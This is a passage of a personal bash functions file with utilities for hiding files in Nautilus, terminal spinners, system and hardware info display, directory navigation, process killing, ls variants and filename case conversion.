# - Add the option to change the owner and group for whatever is selected to hide/unhide
# - Add the option to add the permissions for whatever is selected to hide/unhide
# - Add the option to make executable whatever is selected to hide/unhide
#
#
# Remember this only works inside the current directory/opened folder and files/folders inside that folder.
# Just comment out or uncomment whatever desired.
# Currently, only the ability to hide/unhide stuff is uncommented,
# but you can always just comment it out, and uncomment one of the "Make Executable" commands,
# and/or one of the "Change the owner and/or group of each file" commands,
# and/or one of the "Add permissions" commands, or mix and match whatever you want.
#
#
# For the changes to take effect to the file(s)/folder(s) you hid/unhid, you may have to refresh the folder, or even Nautilus
# Set IFS so that it won't consider spaces as entry separators.
# Without this, spaces in file/folder names can make the loop go wacky.
IFS=$'\n'
# See if the Nautilus environment variable is empty
if [ -z $NAUTILUS_SCRIPT_SELECTED_FILE_PATHS ]; then
# If it's blank, set it equal to $1
NAUTILUS_SCRIPT_SELECTED_FILE_PATHS=$1
fi
# Loop through the list (from either Nautilus or the command line)
for ARCHIVE_FULLPATH in $NAUTILUS_SCRIPT_SELECTED_FILE_PATHS; do
NEWDIRNAME=${ARCHIVE_FULLPATH%.*}
FILENAME=${ARCHIVE_FULLPATH##*/}
NAME=${ARCHIVE_FULLPATH##*/.*}
# Hide/Unhide file(s)/folder(s) using ".hidden" file within the current folder
# Copies all selected files/folders filenames to ".hidden"
echo $FILENAME >> .hidden
# Sorts and Checks ".hidden" for any duplicates
sort .hidden | uniq -u > .hidden_temp
rm .hidden
mv .hidden_temp .hidden
# Checks ".hidden" to see if there is anything there; if not, it removes it
for file in .hidden
do
if [ `wc -l < $file` -eq 0 ]; then
# file is empty
rm $file
fi
done
# Change the owner and/or group of each FILE to OWNER and/or GROUP, if desired
# chown -R $USER:$USER $ARCHIVE_FULLPATH # set owner:group to current user
# gnome-terminal -x sudo chown -R root:root $ARCHIVE_FULLPATH # set owner:group to root
# gnome-terminal -x sudo chown -R $USER:$USER $ARCHIVE_FULLPATH # set owner:group to current user
# Add permissions, if desired
# chmod 444 $ARCHIVE_FULLPATH # read-only permissions for all
# chmod 600 $ARCHIVE_FULLPATH # read/write for you, no permissions for rest
# chmod 644 $ARCHIVE_FULLPATH # read/write for you, read-only permissions for rest (default)
# sudo chmod 444 $ARCHIVE_FULLPATH # read-only permissions for all
# sudo chmod 600 $ARCHIVE_FULLPATH # read/write for you, no permissions for rest
# sudo chmod 644 $ARCHIVE_FULLPATH # read/write for you, read-only permissions for rest (default)
# Make executable, if desired
# chmod +x $ARCHIVE_FULLPATH
# gnome-terminal -x sudo chmod +x $ARCHIVE_FULLPATH
done
# Add a notification when finished, if desired
echo -n ''
echo -n 'Job Finished
'
}
alias unhideme='hideme'
####### Cool History Summerizer
function historyawk() { history|awk '{a[$2]++}END{for(i in a){printf"%5d\t%s\n",a[i],i}}'|sort -nr|head; }
# Progress visuals #
#------------------------------------------////
###### display animated hourglass in the shell to indicate ongoing processing
function hourglass() { s=$(($SECONDS +${1:-10}));(tput civis;while [[ $SECONDS -lt $s ]];do for f in '|' ' ' '\-' /;do echo -n $f&&sleep .2s&&tput cub1;done;done);tput cnorm; }
###### pretty progressbar
function progressbar()
{
SP_COLOUR="\e[37;44m"
SP_WIDTH=5.5
SP_DELAY=0.2
SP_STRING=${2:-"'|/=\'"}
while [ -d /proc/$1 ]
do
printf "$SP_COLOUR\e7 %${SP_WIDTH}s \e8\e[01;37m" "$SP_STRING"
sleep ${SP_DELAY:-.2}
SP_STRING=${SP_STRING#"${SP_STRING%?}"}${SP_STRING%?}
done
tput sgr0
}
###### please wait...
function spanner() {
PROC=$1;COUNT=0
echo -n "Please wait "
while [ -d /proc/$PROC ];do
while [ "$COUNT" -lt 10 ];do
echo -ne '\x08 ' ; sleep 0.1
((COUNT++))
done
until [ "$COUNT" -eq 0 ];do
echo -ne '\x08\x08 ' ; sleep 0.1
((COUNT -= 1))
done
done
}
###### spin
function spin() {
echo -n "|/ |"
while [ -d /proc/$1 ]
do
# moving right
echo -ne "\b\b\b\b\b\b\b- |"
sleep .05
echo -ne "\b\b\b\b\b\b\b\\ |"
sleep .05
echo -ne "\b\b\b\b\b\b\b| |"
sleep .05
echo -ne "\b\b\b\b\b\b\b / |"
sleep .05
echo -ne "\b\b\b\b\b\b- |"
sleep .05
echo -ne "\b\b\b\b\b\b\\ |"
sleep .05
echo -ne "\b\b\b\b\b\b| |"
sleep .05
echo -ne "\b\b\b\b\b\b / |"
sleep .05
echo -ne "\b\b\b\b\b- |"
sleep .05
echo -ne "\b\b\b\b\b\\ |"
sleep .05
echo -ne "\b\b\b\b\b| |"
sleep .05
echo -ne "\b\b\b\b\b / |"
sleep .05
echo -ne "\b\b\b\b- |"
sleep .05
echo -ne "\b\b\b\b\\ |"
sleep .05
echo -ne "\b\b\b\b| |"
sleep .05
echo -ne "\b\b\b\b / |"
sleep .05
echo -ne "\b\b\b- |"
sleep .05
echo -ne "\b\b\b\\ |"
sleep .05
echo -ne "\b\b\b| |"
sleep .05
echo -ne "\b\b\b /|"
sleep .05
echo -ne "\b\b-|"
sleep .05
echo -ne "\b\b\\|"
sleep .05
echo -ne "\b\b||"
sleep .05
echo -ne "\b\b/|"
sleep .05
# moving left
echo -ne "\b\b||"
sleep .05
echo -ne "\b\b\\|"
sleep .05
echo -ne "\b\b-|"
sleep .05
echo -ne "\b\b\b/ |"
sleep .05
echo -ne "\b\b\b| |"
sleep .05
echo -ne "\b\b\b\\ |"
sleep .05
echo -ne "\b\b\b- |"
sleep .05
echo -ne "\b\b\b\b/ |"
sleep .05
echo -ne "\b\b\b\b| |"
sleep .05
echo -ne "\b\b\b\b\\ |"
sleep .05
echo -ne "\b\b\b\b- |"
sleep .05
echo -ne "\b\b\b\b\b/ |"
sleep .05
echo -ne "\b\b\b\b\b| |"
sleep .05
echo -ne "\b\b\b\b\b\\ |"
sleep .05
echo -ne "\b\b\b\b\b- |"
sleep .05
echo -ne "\b\b\b\b\b\b/ |"
sleep .05
echo -ne "\b\b\b\b\b\b| |"
sleep .05
echo -ne "\b\b\b\b\b\b\\ |"
sleep .05
echo -ne "\b\b\b\b\b\b- |"
sleep .05
echo -ne "\b\b\b\b\b\b\b/ |"
sleep .05
done
echo -e "\b\b\b\b\b\b\b\b\b|=======| done!"
}
###### spinner
function spinner()
{
PROC=$1
while [ -d /proc/$PROC ];do
echo -ne '\e[01;32m/\x08' ; sleep 0.05
echo -ne '\e[01;32m-\x08' ; sleep 0.05
echo -ne '\e[01;32m\\\x08' ; sleep 0.05
echo -ne '\e[01;32m|\x08' ; sleep 0.05
done
}
###### Display a progress process
# To start the spinner2 function, you have to send the function into the background. To stop the spinner2 function, you have to define the argument "stop".
# EXAMPLE:
# echo -n "Starting some daemon "; spinner2 &
# if sleep 10; then
# spinner2 "stop"; echo -e "\t[ OK ]"
# else
# spinner2 "stop"; echo -e "\t[ FAILED ]"
# fi
function spinner2() {
local action=${1:-"start"}
declare -a sign=( "-" "/" "|" "\\\\" )
# define singnal file...
[ "$action" = "start" ] && echo 1 > /tmp/signal
[ "$action" = "stop" ] && echo 0 > /tmp/signal
while [ "$( cat /tmp/signal 2>/dev/null )" == "1" ] ; do
for (( i=0; i<${#sign[@]}; i++ )); do
echo -en "${sign[$i]}\b"
# with this command you can use millisecond as sleep time - perl rules ;-)
perl -e 'select( undef, undef, undef, 0.1 );'
done
done
# clear the last ${sign[$i]} sign at finish...
[ "$action" = "stop" ] && echo -ne " \b"
}
###### working
function working()
{
while [ -d /proc/$1 ]
do
echo -ne "w \b\b\b\b\b\b\b";sleep .08;
echo -ne "wo \b\b\b\b\b\b\b";sleep .08;
echo -ne "wor \b\b\b\b\b\b\b";sleep .08;
echo -ne "work \b\b\b\b\b\b\b";sleep .08;
echo -ne "worki \b\b\b\b\b\b\b";sleep .08;
echo -ne "workin \b\b\b\b\b\b\b";sleep .08;
echo -ne "working\b\b\b\b\b\b\b";sleep .08;
echo -ne " orking\b\b\b\b\b\b\b";sleep .08;
echo -ne " rking\b\b\b\b\b\b\b";sleep .08;
echo -ne " king\b\b\b\b\b\b\b";sleep .08;
echo -ne " ing\b\b\b\b\b\b\b";sleep .08;
echo -ne " ng\b\b\b\b\b\b\b";sleep .08;
echo -ne " g\b\b\b\b\b\b\b";sleep .08;
done
}
####### Get just the HTTP headers from a web page(and its redirects)
function http_headers() { /usr/bin/curl -I -L $@ ; }
####### Convert number of bytes to human readable filesize
function human_filesize() { awk -v sum="$1" ' BEGIN {hum[1024^3]="Gb"; hum[1024^2]="Mb"; hum[1024]="Kb"; for (x=1024^3; x>=1024; x/=1024) { if (sum>=x) { printf "%.2f %s\n",sum/x,hum[x]; break; } } if (sum<1024) print "1kb"; } ' ; }
####### :h gets you to the vim help menu or directly to :help wordname
function :h() { vim --cmd ":silent help $@" --cmd "only"; }
###### machine details - Show computer information of all sorts (requires 'gawk': sudo apt-get install gawk)
function ii()
{
echo -e "\n${RED}You are logged onto:$NC " ; hostname
echo -e "\n${RED}Additionnal information:$NC " ; uname -a
echo -e "\n${RED}Users logged on:$NC " ; w -h
echo -e "\n${RED}Current date:$NC " ; date
echo -e "\n${RED}Machine stat:$NC " ; uptime
echo -e "\n${RED}Disk space:$NC " ; df -h
echo -e "\n${RED}Memory stats (in MB):$NC " ;
if [ "$OS" = "Linux" ]; then
free -m
elif [ "$OS" = "Darwin" ]; then
vm_stat
fi
echo -e "\n${RED}IPs:$NC " ; ips
}
###### paste hardware list (hwls) in html format into pastehtml.com directly from console and return URI
function listhw() { curl -s -S --data-urlencode "txt=$(sudo lshw -html)" "http://pastehtml.com/upload/create?input_type=html&result=address";echo; }
###### full memcache client in under 255 chars (uses dd, sed and nc)
# usage: mem memcache-command [arguments]
function mem() { { case $1 in st*|[gid]*) printf "%s " "$@";; *) dd if=$3 2>&1|sed '$!d;/^0/d;s/ .*//;s/^/'"$1"' '"$2"' 1 0 /; r '"$3"'' 2>/dev/null;;esac;printf "\r\nquit\r\n";}|nc -n 127.0.0.1 11211; }
###### notify on Battery power - works on laptops, desktop having communication b/w UPS & CPU
function NotifyOnBATTERY() { while :; do on_ac_power||notify-send "Running on BATTERY"; sleep 1m; done ; }
###### colored status of running services
function services() { printf "$(service --status-all 2>&1|sed -e 's/\[ + \]/\\E\[42m\[ + \]\\E\[0m/g' -e 's/\[ - \]/\\E\[41m\[ - \]\\E\[0m/g' -e 's/\[ ? \]/\\E\[43m\[ ? \]\\E\[0m/g')\n"; }
###### show_battery_load
function show_battery_load()
{
case $1 in
*acpi )
check_opt acpi show_battery_load::acpi
if [[ $? != "1" ]]; then
load=$(acpi -b | sed -e "s/.* \([1-9][0-9]*\)%.*/\1/")
out="$(acpi -b)"
state="$(echo "${out}" | awk '{print $3}')"
case ${state} in
charging,)
statesign="^"
;;
discharging,)
statesign="v"
;;
charged,)
statesign="°"
;;
esac
battery="${statesign}${load}"
echo $battery
fi
;;
*apm )
check_opt apm show_battery_load::apm
if [[ $? != "1" ]]; then
result="$(apm)"
case ${result} in
*'AC on'*)
state="^"
;;
*'AC off'*)
state="v"
;;
esac
load="${temp##* }"
battery="${state}${load}"
echo $battery
fi
;;
* )
echo -e "\n${ewhite}Usage:\n"
echo -e "${eorange}show_battery_load${ewhite} |${egreen} --acpi${eiceblue} [show batteryload using acpi]\
\n${eorange}show_battery_load${ewhite} |${egreen} --apm${eiceblue} [show batteryload using apm]" | column -t
echo ""
tput sgr0
;;
esac
}
###### show_cpu_load
function show_cpu_load()
{
case $1 in
*help )
echo -e "\n${ewhite}Usage:\n"
echo -e "${eorange}show_cpu_load${ewhite} |${egreen} ! no options !\n"
tput sgr0
;;
* )
NICE_IGNORE=20
t="0"
while read cpu ni; do
if [[ $ni == *-* || $ni -le $NICE_IGNORE ]]; then
t="$t + $cpu"
fi
if [[ ${cpu%%.*} -eq 0 ]]; then
break
fi
done < <(ps -Ao "%cpu= ni="| sort -r)
cpu=$(echo "$t" | bc)
if [[ ! "${cpu#.}x" = "${cpu}x" ]]; then
cpu="0${cpu}"
fi
cpu=${cpu%%.*}
if [[ $cpu -gt 100 ]]; then
cpu=100
fi
if [[ $cpu -lt 16 ]]; then
color=${eiceblue}
elif [[ $cpu -lt 26 ]]; then
color=${eturqoise}
elif [[ $cpu -lt 41 ]]; then
color=${esmoothgreen}
elif [[ $cpu -lt 61 ]]; then
color=${egreen}
elif [[ $cpu -lt 81 ]]; then
color=${eyellow}
else color=${ered}
fi
if [[ $cpu -lt 10 ]]; then
prepend=00
elif [[ $cpu -lt 100 ]]; then
prepend=0
fi
if [[ $enabcol == true ]]; then
echo -e "$color$prepend$cpu"
else echo $prepend$cpu
fi
;;
esac
}
###### show_mem
function show_mem() {
case $1 in
*used )
used=$(free -m | grep 'buffers/cache' | awk '{print $3}')
if [[ $used -lt 1000 ]]; then
echo 0$used
elif [[ $used -lt 100 ]]; then
echo 00$used
else echo $used
fi
;;
*free )
free=$(free -m | grep 'buffers/cache' | awk '{print $4}')
if [[ $free -lt 1000 ]]; then
echo 0$free
elif [[ $free -lt 100 ]]; then
echo 00$ree
else echo $free
fi
;;
*used-percent )
free | {
read
read m t u f s b c;
f=$[$f + $b + $c]
f=$[100-100*$f/$t]
if [ $f -gt 100 ]; then
f=100
fi
echo ${f}%
}
;;
*free-percent )
free | {
read
read m t u f s b c;
f=$[$f + $b + $c]
f=$[100-100*$f/$t]
if [ $f -gt 100 ]; then
f=100
fi
echo $((100-${f}))%
}
;;
* )
echo -e "\n${ewhite}Usage:\n"
echo -e "\n${eorange}show_mem ${ewhite}|${egreen} --used ${eiceblue}[display used memory in mb]\
\n${eorange}show_mem ${ewhite}|${egreen} --free ${eiceblue}[display free memory in mb]\
\n${eorange}show_mem ${ewhite}|${egreen} --percent-used ${eiceblue}[display used memory in %]\
\n${eorange}show_mem ${ewhite}|${egreen} --percent-free ${eiceblue}[display free memory in %]" | column -t
echo ""
tput sgr0
;;
esac
}
###### show_size
function show_size()
{
case $1 in
*help )
echo -e "\n${ewhite}Usage:\n"
echo -e "${eorange}show_size ${ewhite}|${egreen} ! no options !\n"
tput sgr0
;;
* )
let TotalBytes=0
for Bytes in $(ls -lA -1 | grep "^-" | awk '{ print $5 }'); do
let TotalBytes=$TotalBytes+$Bytes
done
if [ $TotalBytes -lt 1024 ]; then
TotalSize=$(echo -e "scale=1 \n$TotalBytes \nquit" | bc)
suffix="B"
elif [ $TotalBytes -lt 1048576 ]; then
TotalSize=$(echo -e "scale=1 \n$TotalBytes/1024 \nquit" | bc)
suffix="KB"
elif [ $TotalBytes -lt 1073741824 ]; then
TotalSize=$(echo -e "scale=1 \n$TotalBytes/1048576 \nquit" | bc)
suffix="MB"
else
TotalSize=$(echo -e "scale=1 \n$TotalBytes/1073741824 \nquit" | bc)
suffix="GB"
fi
echo "${TotalSize} ${suffix}"
;;
esac
}
###### show_space
function show_space()
{
case $1 in
*used-percent )
echo $(df | grep -w $2 | gawk '{print $5}')
;;
*free-percent )
echo $((100-$(df | grep -w $2 | gawk '{print $5}' | sed -e 's/\%//g')))%
;;
*used )
echo $(df -h | grep -w $2 | gawk '{print $3}')B
;;
*free )
echo $(df -h | grep -w $2 | gawk '{print $4}')B
;;
*total )
echo $(df -h | grep -w $2 | gawk '{print $2}')B
;;
* )
echo -e "\n${ewhite}Usage:\n"
echo -e "${eorange}show_space ${ewhite}|${egreen} --used ${eiceblue}[display used space in mb/gb]\
\n${eorange}show_space ${ewhite}|${egreen} --free ${eiceblue}[display free space in mb/gb]\
\n${eorange}show_space ${ewhite}|${egreen} --percent-used ${eiceblue}[display used space in %]\
\n${eorange}show_space ${ewhite}|${egreen} --percent-free ${eiceblue}[display free space in %]" | column -t
echo ""
tput sgr0
;;
esac
}
###### show_system_load
function show_system_load() {
case $1 in
1 )
load=$(uptime | sed -e "s/.*load average: \(.*\...\), \(.*\...\), \(.*\...\)/\1/" -e "s/ //g")
;;
10 )
load=$(uptime | sed -e "s/.*load average: \(.*\...\), \(.*\...\), \(.*\...\)/\2/" -e "s/ //g")
;;
15 )
load=$(uptime | sed -e "s/.*load average: \(.*\...\), \(.*\...\), \(.*\...\)/\3/" -e "s/ //g")
;;
*help | "")
echo -e "\n${ewhite}Usage:\n"
echo -e "${eorange}show_system_load${ewhite} | ${egreen}1 ${eiceblue}[load average for 1 minute]\
\n${eorange}show_system_load${ewhite} | ${egreen}10 ${eiceblue}[load average for 10 minutes]\
\n${eorange}show_system_load${ewhite} | ${egreen}15 ${eiceblue}[load average for 15 minutes]\n" | column -t
tput sgr0
;;
esac
if [[ $load != "" ]]; then
tmp=$(echo $load*100 | bc)
load100=${tmp%.*}
if [[ $enabcol == true ]]; then
if [[ ${load100} -lt 35 ]]; then
loadcolor=${eblue}
elif [[ ${load100} -ge 35 ]] && [[ ${load100} -lt 120 ]]; then
loadcolor=${eiceblue}
elif [[ ${load100} -ge 120 ]] && [[ ${load100} -lt 200 ]]; then
loadcolor=${egreen}
elif [[ ${load100} -ge 200 ]] && [[ ${load100} -lt 300 ]]; then
loadcolor=${eyellow}
else loadcolor=${ered}
fi
fi
echo -e $loadcolor$load
fi
}
###### show_tty
function show_tty()
{
case $1 in
*help )
echo -e "\n${ewhite}Usage:\n"
echo -e "${eorange}show_tty${ewhite}|${egreen} ! no options !\n"
tput sgr0
;;
* )
TTY=$(tty)
echo ${TTY:5} | sed -e 's/\//\:/g'
;;
esac
}
###### show_uptime
function show_uptime() {
case $1 in
*help )
echo -e "\n${ewhite}Usage:\n"
echo -e "${eorange}show_uptime${ewhite} |${egreen} ! no options !\n"
tput sgr0
;;
* )
uptime=$(</proc/uptime)
timeused=${uptime%%.*}
if (( timeused > 86400 )); then
((
daysused=timeused/86400,
hoursused=timeused/3600-daysused*24,
minutesused=timeused/60-hoursused*60-daysused*60*24,
secondsused=timeused-minutesused*60-hoursused*3600-daysused*3600*24
))
if (( hoursused < 10 )); then
hoursused=0${hoursused}
fi
if (( minutesused < 10 )); then
minutesused=0${minutesused}
fi
if (( secondsused < 10 )); then
secondsused=0${secondsused}
fi
output="${daysused}d ${hoursused}h:${minutesused}m:${secondsused}s"
elif (( timeused < 10 )); then
output="0d 00h:00m:0$(timeused)s"
elif (( timeused < 60 )); then
output="0d 00h:00m:${timeused}s"
elif (( timeused < 3600 )); then
((
minutesused=timeused/60,
secondsused=timeused-minutesused*60
))
if (( minutesused < 10 )); then
minutesused=0${minutesused}
fi
if (( secondsused < 10 )); then
secondsused=0${secondsused}
fi
output="0d 00h:${minutesused}m:${secondsused}s"
elif (( timeused < 86400 )); then
((
hoursused=timeused/3600,
minutesused=timeused/60-hoursused*60,
secondsused=timeused-minutesused*60-hoursused*3600
))
if (( hoursused < 10 )); then
hoursused=0${hoursused}
fi
if (( minutesused < 10 )); then
minutesused=0${minutesused}
fi
if (( secondsused < 10 )); then
secondsused=0${secondsused}
fi
output="0d ${hoursused}h:${minutesused}m:${secondsused}s"
fi
echo "$output"
;;
esac
}
###### STAT Function showing ALL info, stat options, and descriptions
function statt() { C=c;stat --h|sed '/Th/,/NO/!d;/%/!d'|while read l;do p=${l/% */};[ $p == %Z ]&&C=fc&&echo ^FS:^;echo "`stat -$C $p \"$1\"` ^$p^${l#%* }";done|column -ts^; }
###### system_infos
function system_infos()
{
case $1 in
*cpu)
echo -e "${ewhite}CPU:\n"
echo -e "${eorange}Model:${eiceblue} $(grep "model name" /proc/cpuinfo | sed -e 's/.*: //g')"
echo -e "${eorange}MHz :${eiceblue} $(grep "cpu MHz" /proc/cpuinfo | sed -e 's/.*: //g')\n"
;;
*kernel)
echo -e "${ewhite}Kernel:\n"
echo -e "${eorange}Release:${eiceblue} $(uname -r)"
echo -e "${eorange}Version:${eiceblue} $(uname -v)"
echo -e "${eorange}Machine:${eiceblue} $(uname -m)\n"
;;
*mem | *ram)
echo -e "${ewhite}RAM:\n"
echo -e "${eorange}Total:${eiceblue} $(((`showmem --free`) + (`showmem --used`))) MB"
echo -e "${eorange}Free :${eiceblue} $(showmem --free) MB"
echo -e "${eorange}Used :${eiceblue} $(showmem --used) MB\n"
;;
*partitions)
echo -e "${ewhite}Partitions:${eorange}\n"
echo -e "major minor blocks device-node ${eiceblue}\
\n$(cat /proc/partitions | sed -e '1,2d')" | column -t
echo ""
;;
*pci)
check_opt lspci systeminfos::pci
if [[ $? != "1" ]]; then
echo -e "${ewhite}PCI Devices:\n${eiceblue}"
lspci -vkmm
echo ""
fi
;;
*usb)
check_opt lsusb systeminfos::usb
if [[ $? != "1" ]]; then
echo -e "${ewhite}USB Devices:\n${eiceblue}"
lsusb -v
echo ""
fi
;;
*mounts)
echo -e "${ewhite}Mounts:\n${eorange}\
\ndevice-node on mount-point type filesystem options\n" ${eiceblue} "\n\n$(mount)" | column -t
echo ""
;;
*bios)
check_opt dmidecode systeminfos::bios
if [[ $? != "1" && $EUID == 0 ]]; then
echo -e "${ewhite}SMBIOS/DMI Infos:${eiceblue}\n"
dmidecode -q
fi
;;
*all)
system_infos_cpu
system_infos_kernel
system_infos_memory
system_infos_partitions
# system_infos_pci
# system_infos_usb
system_infos_mounts
# system_infos_bios
;;
*)
echo -e "\n${ewhite}Usage:\n"
echo -e "${eorange}system_infos ${ewhite}|${egreen} --cpu\t\t${eiceblue}[Display CPU Model and Freq]\
\n${eorange}system_infos ${ewhite}|${egreen} --kernel\t${eiceblue} [Display Kernel Version, Release and Machine]\
\n${eorange}system_infos ${ewhite}|${egreen} --memory\t${eiceblue} [Display Total, Free and Used RAM]\
\n${eorange}system_infos ${ewhite}|${egreen} --partitions\t${eiceblue}[Display Major, Minor, Blocks and Node for all Paritions]\
\n${eorange}system_infos ${ewhite}|${egreen} --pci\t\t${eiceblue}[Display Infos about all PCI Devices (and their kernel-module)]\
\n${eorange}system_infos ${ewhite}|${egreen} --usb\t\t${eiceblue}[Display Infos about all USB Devices (and their kernel-module)]\
\n${eorange}system_infos ${ewhite}|${egreen} --bios\t${eiceblue} [Display SMBIOS DMI Infos]\
\n${eorange}system_infos ${ewhite}|${egreen} --mounts\t${eiceblue} [Display all mounted devices]\n"
tput sgr0
;;
esac
}
###### shows various info on running activities
function treeps() {
ps f -u $USER -o command,pid,%cpu,%mem,time,etime,tty | \
awk 'NR <= 1 {print;next} !/awk/ && $0~var' var=${1:-".*"}
}
###### uptime in minutes
function uptime_min()
{
awk '{print $0/60;}' /proc/uptime
}
###### info about current open windows
function wininfo() {
xprop | grep -w "WM_NAME\|WM_CLASS\|WM_WINDOW_ROLE\|_NET_WM_STATE"
}
# Resizing an image #
#------------------------------------------////
# USAGE: image_resize "percentage of image resize" "input image" "output image"
function image_resize()
{
convert -sample "$1"%x"$1"% "$2" "$3"
}
####### Search IMDB.COM
function imdb()
{
firefox "http://www.imdb.com/find?s=all&q="${@}"&x=0&y=0" &
}
####### Using PIPEs, Execute a command, convert output to .png file, upload file to imgur.com, then returning the address of the .png.
function imgur() { convert label:@- png:-|curl -F "image=@-" -F "key=1913b4ac473c692372d108209958fd15" http://api.imgur.com/2/upload.xml|grep -E -o "<original>(.)*</original>" | grep -E -o "http://i.imgur.com/[^<]*" ; }
####### INC
function inc() {
let OPS=$OPS+1
echo "* pcur $OPS"
}
####### Displays metadata for specified media file $1 = media file name
function info() {
EXT=`echo "${1##*.}" | sed 's/\(.*\)/\L\1/'`
if [ "$EXT" == "mp3" ]; then
id3v2 -l "$1"
echo
mp3gain -s c "$1"
elif [ "$EXT" == "flac" ]; then
metaflac --list --block-type=STREAMINFO,VORBIS_COMMENT "$1"
else
echo "ERROR: Not a supported file type."
fi
}
# Sample introduction
#------------------------------------------////
function intro() {
less <<INTRO
Hi, welcome to your bytesized shell :)
We've added a few shell aliases (commands) for common
things, to make your life easier, here's a quick list of
things you might want to do:
command - what it does
For more advances users:
press "q" to exit this screen
This screen will not be displayed to you in the future, if you want to see it again, type "intro"
INTRO
}
# Check variable has been set
#------------------------------------------////
###### works in all shells - does not require a test - handles like an assertion
function isdef() { eval test -n \"\${$1+1}\"; }
# Jump to any directory...
#------------------------------------------////
###### ..below the current one - usage: jd dir (requires globstar. To set globstar use: shopt -s globstar)
function jd() { cd **/"$@"; }
###### ..above the current one
function jda() { cd $(pwd | sed "s/\(\/$@\/\).*/\1/g"); }
###### usage: upto directory
function upto() { cd "${PWD/\/$@\/*//$@}"; }
# Kill a process by name
#------------------------------------------////
###### example: killps firefox-bin
function killps()
{
local pid pname sig="-TERM" # default signal
if [ "$#" -lt 1 ] || [ "$#" -gt 2 ]; then
echo "Usage: killps [-SIGNAL] pattern"
return;
fi
if [ $# = 2 ]; then sig=$1 ; fi
for pid in $(myps | nawk '!/nawk/ && $0~pat { print $2 }' pat=${!#}) ; do
pname=$(myps | nawk '$2~var { print $6 }' var=$pid )
if ask "Kill process $pid <$pname> with signal $sig ? "
then kill $sig $pid
fi
done
}
###### example: pskill firefox-bin
function psgrep() {
if [[ $1 == "-u" ]]; then
ps aux | grep -v grep | grep $2 | awk '{ print $2 " : " $11}' | tee .temp
CMDS=$(cat .temp)
elif [[ $1 != "" ]]; then
ps aux | grep -v grep | grep "$1" | awk '{ print $11 " : " $2 " : " $1 }' | tee .temp
CMDS=$(cat .temp)
fi
if [[ $CMDS == "" ]]; then
echo "no matching process"
fi
rm -f .temp
}
###### pskill
function pskill() {
if [[ $1 ]]; then
psgrep $1
shift
if [[ $CMDS != "" ]]; then
echo -e "\nenter process number to kill:\n"
read ID
if [[ ! $ID == 0 || ! $ID == "" ]]; then
kill $@ $ID
fi
fi
fi
}
# Kindle connection/disconnection
#------------------------------------------////
###### be sure to press on unattached Kindle beforehand: "[SHIFT][SHIFT][N]", to start /test/bin/usbnetwork - and then connect via usb the Kindle
function kindle_connect()
{
modprobe usbnet
modprobe cdc_ether
sudo ifconfig usb0 192.168.2.1
ssh [email protected]
}
###### be sure to press on unattached Kindle afterwards: "[SHIFT][SHIFT][N]", to end /test/bin/usbnetwork
function kindle_disconnect()
{
sudo ifconfig usb0 down
}
# Led set and reset
#------------------------------------------////
function kitt() {
setleds -L -num;
setleds -L -caps;
setleds -L -scroll;
while :; do
setleds -L +num;
sleep 0.2;
setleds -L -num;
setleds -L +caps;
sleep 0.2;
setleds -L -caps;
setleds -L +scroll;
sleep 0.2;
setleds -L -scroll;
setleds -L +caps;
sleep 0.2;
setleds -L -caps;
done
resetleds
}
###### resetleds
function resetleds()
{
setleds -L < /dev/tty1
}
####### Concatenate stuff
function kitty() {
cat -n "$@"
}
# Advanced ls functions
#------------------------------------------////
###### la
function la() {
ls -A --group-directories-first "$@"
}
###### lg
function lg() {
if [[ "$@" == "" ]]; then
$@="*"
fi
ls -l --group-directories-first "$@" | gawk '{print $9, "belongs to Group ->", $4}' | column -t
}
###### ll
function ll() {
ls -l --group-directories-first "$@"
}
###### Counts files, subdirectories and directory size and displays details about files depending on the available space
function lls() {
# count files
echo -n "<`find . -maxdepth 1 -mindepth 1 -type f | wc -l | tr -d '[:space:]'` files>"
# count sub-directories
echo -n " <`find . -maxdepth 1 -mindepth 1 -type d | wc -l | tr -d '[:space:]'` dirs/>"
# count links
echo -n " <`find . -maxdepth 1 -mindepth 1 -type l | wc -l | tr -d '[:space:]'` links@>"
# total disk space used by this directory and all subdirectories
echo " <~`du -sh . 2> /dev/null | cut -f1`>"
ROWS=`stty size | cut -d' ' -f1`
FILES=`find . -maxdepth 1 -mindepth 1 |
wc -l | tr -d '[:space:]'`
# if the terminal has enough lines, do a long listing
if [ `expr "${ROWS}" - 6` -lt "${FILES}" ]; then
ls
else
ls -hlAF --full-time
fi
}
###### lo
function lo() {
if [[ "$@" == "" ]]; then
$@="*"
fi
ls -l --group-directories-first "$@" | gawk '{print $9, "belongs to User ->", $3}' | sed -e '1d' | column -t
}
###### l1
function l1() {
ls -1 --group-directories-first "$@"
}
###### lm
function lm() {
if [[ ! "$@" == "" ]]; then
for file in "$@"; do
stat -c "%A %a %n" "$file" | gawk '{print "Permissions of:", $3, "->", $1, "("$2")"}'
done | column -t
fi
}
###### inspired by http://tldp.org/HOWTO/Bash-Prompt-HOWTO/x279.html -> but I made it a single awk instead of an awk, forloop and a bc asumes we have awk available. but really, who doesnt have awk? - let's get the size of the files in this dir
function lsbytes() {
echo -n $(ls -l | awk '/^-/{total += $5} END{printf "%.2f", total/1048576}')
}
function lscd() {
builtin cd "${@}" &>/dev/null
. $BSNG_RC_DIR/dirinfo/display
dirinfo_display
echo -e "${epink}content:"
ls $LSCD_OPTS
echo "$PWD" > $HOME/.lastpwd
}
###### display long list of files with the given extension - example: lsext txt
function lsext()
{
find . -type f -iname '*.'${1}'' -exec ls -l {} \; ;
}
###### another way to call for a list of files/folders
function lsr() { /bin/ls -l "$@"/..namedfork/rsrc ; }
###### sorted, recursive long file listing
function lsr_() { find "${@:-.}" -print0 |sort -z |xargs -0 ls $LS_OPTIONS -dla; }
####### Show the single most recently modified file in a directory
function lastfile() { find ${1:-.} -maxdepth 1 -type f -printf "%T+ %p\n" | sort -n | tail -n1 | sed 's/[^[:space:]]\+ //'; }
# Uppercase, lowercase, & cleanup strings & names
#------------------------------------------////
###### lowercase all files in the current directory
function lcfiles() {
print -n 'Really lowercase all files? (y/n) '
if read -q ; then
for i in * ; do
mv $i $i:l
done
fi
}
###### Convert the first letter into lowercase letters
function lcfirst() {
if [ -n "$1" ]; then
perl -e 'print lcfirst('$1')'
else
cat - | perl -ne 'print lcfirst($_)'
fi
}
###### usage: lower [STRING]...
function lower() { echo ${@,,}; }
###### usage: echo hELLO wORLD | lower - convert stdin to lower case
function lower_() { tr [A-Z] [a-z]; }
###### move filenames to lowercase
function lowercase()
{
for file ; do
filename=${file##*/}
case "$filename" in
*/*) dirname==${file%/*} ;;
*) dirname=.;;
esac
nf=$(echo $filename | tr A-Z a-z)
newname="${dirname}/${nf}"
